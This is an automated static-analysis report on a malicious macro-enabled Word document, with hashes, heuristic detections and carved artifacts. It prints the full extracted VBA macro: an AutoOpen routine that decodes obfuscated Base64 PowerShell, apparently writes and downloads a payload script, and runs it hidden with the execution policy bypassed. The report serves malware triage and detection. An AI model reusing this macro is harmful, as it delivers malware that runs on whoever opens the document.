Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e3cd439bffcb75c7…

MALICIOUS

Office (OOXML)

26.0 KB Created: 2021-04-19 19:35:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-25
MD5: 2d998d5b756615ec9da356e86a492118 SHA-1: e770f4f34fa26b93e7cab45335d65ab56451c387 SHA-256: e3cd439bffcb75c78c4e342fbf2b96974596043d3675bc93661591c61dd048ab
232 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set wshShell = objOL.CreateObject("Wscript.Shell")
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
        With CreateObject("Msxml2.DOMDocument").CreateElement("aux")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        With CreateObject("Msxml2.DOMDocument").CreateElement("aux")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5496 bytes
SHA-256: bb0b36a4d4502a6527d2eec2419ba723d144e4ed9197f1d95e84ded6372120f2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

Function Base64Encode(ByVal sText, ByVal fAsUtf16LE)

    With CreateObject("Msxml2.DOMDocument").CreateElement("aux")
        .DataType = "bin.base64"
        If fAsUtf16LE Then
            .NodeTypedValue = StrToBytes(sText, "utf-16le", 2)
        Else
            .NodeTypedValue = StrToBytes(sText, "utf-8", 3)
        End If
        Base64Encode = .Text
    End With

End Function



Function Base64Decode(ByVal sBase64EncodedText, ByVal fIsUtf16LE)

    Dim sTextEncoding
    If fIsUtf16LE Then sTextEncoding = "utf-16le" Else sTextEncoding = "utf-8"

    With CreateObject("Msxml2.DOMDocument").CreateElement("aux")
        .DataType = "bin.base64"
        .Text = sBase64EncodedText
        Base64Decode = BytesToStr(.NodeTypedValue, sTextEncoding)
    End With

End Function



Function StrToBytes(ByVal sText, ByVal sTextEncoding, ByVal iBomByteCount)


    With CreateObject("ADODB.Stream")
        .Type = 2  ' adTypeText
        .Charset = sTextEncoding
        .Open
        .WriteText sText
        ' ... and convert it to a binary stream to get a byte-array
        ' representation.
        .Position = 0
        .Type = 1  ' adTypeBinary
        .Position = iBomByteCount ' skip the BOM
        StrToBytes = .Read
        .Close
    End With

End Function

Function BytesToStr(ByVal byteArray, ByVal sTextEncoding)

    If LCase(sTextEncoding) = "utf-16le" Then
        ' UTF-16 LE happens to be VBScript's internal encoding, so we can
        ' take a shortcut and use CStr() to directly convert the byte array
        ' to a string.
        BytesToStr = CStr(byteArray)
    Else ' Convert the specified text encoding to a VBScript string.
        ' Create a binary stream and copy the input byte array to it.
        With CreateObject("ADODB.Stream")
            .Type = 1 ' adTypeBinary
            .Open
            .Write byteArray
            ' Now change the type to text, set the encoding, and output the
            ' result as text.
            .Position = 0
            .Type = 2 ' adTypeText
            .Charset = sTextEncoding
            BytesToStr = .ReadText
            .Close
        End With
    End If

End Function


Sub AutoOpen()
    Set objOL = CreateObject("Outlook.Application")
    Set wshShell = objOL.CreateObject("Wscript.Shell")
    userprofile = wshShell.ExpandEnvironmentStrings("%userprofile%")
    
    
    final_str = ""
    final_str = final_str & "Y0c5M1pYSnphR1ZzYkNBaVcxTjVjM1JsYlM1VVpYaDBMa1Z1WTI5a2FXNW5YVG82VlZSR09DNUhaWFJUZEhKcGJtY29XMU41YzNSbGJTNURiMjUyWlhKMFhUbzZSbkp2YlVKaGMyVTJORk4wY21sdV"
    final_str = final_str & "p5aGNJa3BHWkhwaFJrNXZXbGQ0YzBsRU1HZFViVll6VEZVNWFXRnRWbXBrUTBGMFdUSTVkRlF5U25GYVYwNHdTVVprVkZrelNuQmpTRkYxVlRKb2JHSkhkMHRLUms1dllqTktNRmt6VmpCSlJEQm5T"
    final_str = final_str & "a1prZW1GR1RtOWFWM2h6VEd0T2VWcFhSakJhVms1dllqTktNRmt6VmpCTFEwbHJXbGMxTWs5clJsRlZSVkpDVmtWR1kxUlhiR3BqYlRsNllqSmFNRmhHWkhCaWJWSjJaRE5PWTFVelVtaGpibEZuVk"
    final_str = final_str & "ZkV2RXUldlRkZqYlRsdVkyMUdkR014ZUZSa1IwWjVaRWhXZDFoSWNIQmlWMHA1V1ZZNWVtUkhSbmxrU0ZaM1RHMTRkV0Y1U1hCRGFWSlVZVWM1ZVdSSFRqRmtRelZWV1ZoS2JscFlVbEZaV0ZKdlNV"
    final_str = final_str & "UXdaMGxwVW14aWJsazJaRmhPYkdOdVFubGlNbHB3WWtkV1kyVnRiSFJaYmtwb1kwaEtkbGt5Vm5wamVUVnNaVWRWYVVOcFVsUmhSemw1WkVkT01XUkROVlJaV0Zwc1MwTnJTME5wVW5Cak0wb3hZbT"
    final_str = final_str & "AxY0dKdFkyZFFVMEpJV2xoUmRGVklTblpaTWxaNlkzbENhMlZ0VG5sbFdFSXdTVU14Um1OdVNuWmphMFpxWkVkc2RtSnBRbFJoVjNoc1ltNVNjMlZWVG5aaWJsSndZbTVXYkVOcFVubFpWelZyWW0x"
    final_str = final_str & "R2RGcFRRVGxKUXpGeFlqSnNkVWxEWjI5T2FsVjFUR3ByZDB0VFFYSkpRMmMxVG5rMGRVMVVTWGxMVTBJNFNVVmtiR1JETVZOWlZ6VnJZakl3WjB4VlRuWmtWelV3U1VSVloyWkRRV3hKU0hSaVdUSm"
    final_str = final_str & "9hR05zTUdkSlEwRnJXRE13Y0VObmNIQmFhVUZ2U2tjMU1XSkhkMmRNVjFaNFNVTlNjR016U2pGaWJUVndZbTFqY0dWM2IyZEpRMEZuWkRKa2JHUkRRV2xoU0ZJd1kwUnZka3g2VlhWTmVsRjFUVlJu"
    final_str = final_str & "ZDB4cVNYbE9hVGsyWVZjeGFXTnRSbmRqYlRscVdsaE9la3h1Y0hCalEwbG5URmM1TVdSSFduQmlSMVZuU1dsU2JHSnVXVFprV0U1c1kyNUNlV0l5V25CaVIxWmpTa2hLYUdKdFVuVlpWekZzVEc1d2"
    final_str = final_str & "NHTkRTVXRKUTBGblNVZFdOR05IUm5WYVF6Rm9ZMjFPYjJGWVdteEpRekYzV1ZoU2IwbERTV3RhVnpVeVQyNVdlbHBZU25kamJUbHRZVmQ0YkZoRFVubFpWelZyWW0xR2RGcFROVFpoV0VGcFNVTXhh"
    final_str = final_str & "MXBZVGpCaFZ6Vm9aRWRzZG1KdVFtaGtSMmRuU1dsU2JHSnVXVFprV0U1c1kyNUNlV0l5V25CaVIxWmpTV2R2WjBsRFFXZFZNMUpvWTI1UmRGVklTblpaTWxaNlkzbEJiMGxwVW14aWJsazJaRmhPYk"
    final_str = final_str & "dOdVFubGlNbHB3WWtkV1kyVnRiSFJaYmtwb1kwaEtkbGt5Vm5wamVUVnNaVWRWYVV0UmNEbGNJaWtwSUh3Z1QzVjBMVVpwYkdVZ0xVWnBiR1ZRWVhSb0lGd2lKR1Z1ZGpwMWMyVnljSEp2Wm1sc1pW"
    final_str = final_str & "eHBZWFJ2ZDJzdWNITXhYQ0lpQ2c9PQ=="
    
    Set WshShellExec = wshShell.Exec(Base64Decode(Base64Decode(final_str, False), False))
    
    commando_a_runear2 = Base64Decode("cG93ZXJzaGVsbCAtY29tbWFuZCBQb3dlclNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgYnlwYXNzIC13aW5kb3dzdHlsZSBoaWRkZW4gLW5vcHJvZmlsZQ==", False)
    directorio = userprofile & Base64Decode("XGlhdG93ay5wczE=", False)
    
    final_comando = commando_a_runear2 & " '" & directorio & "'"
    

    wshShell.Run final_comando


End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 31744 bytes
SHA-256: f64dc8e4dc96c2cd99425d690095dc9dda0c40cd1c6b3a9fa61a9c9b53e8c674
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 long base64-like blob(s).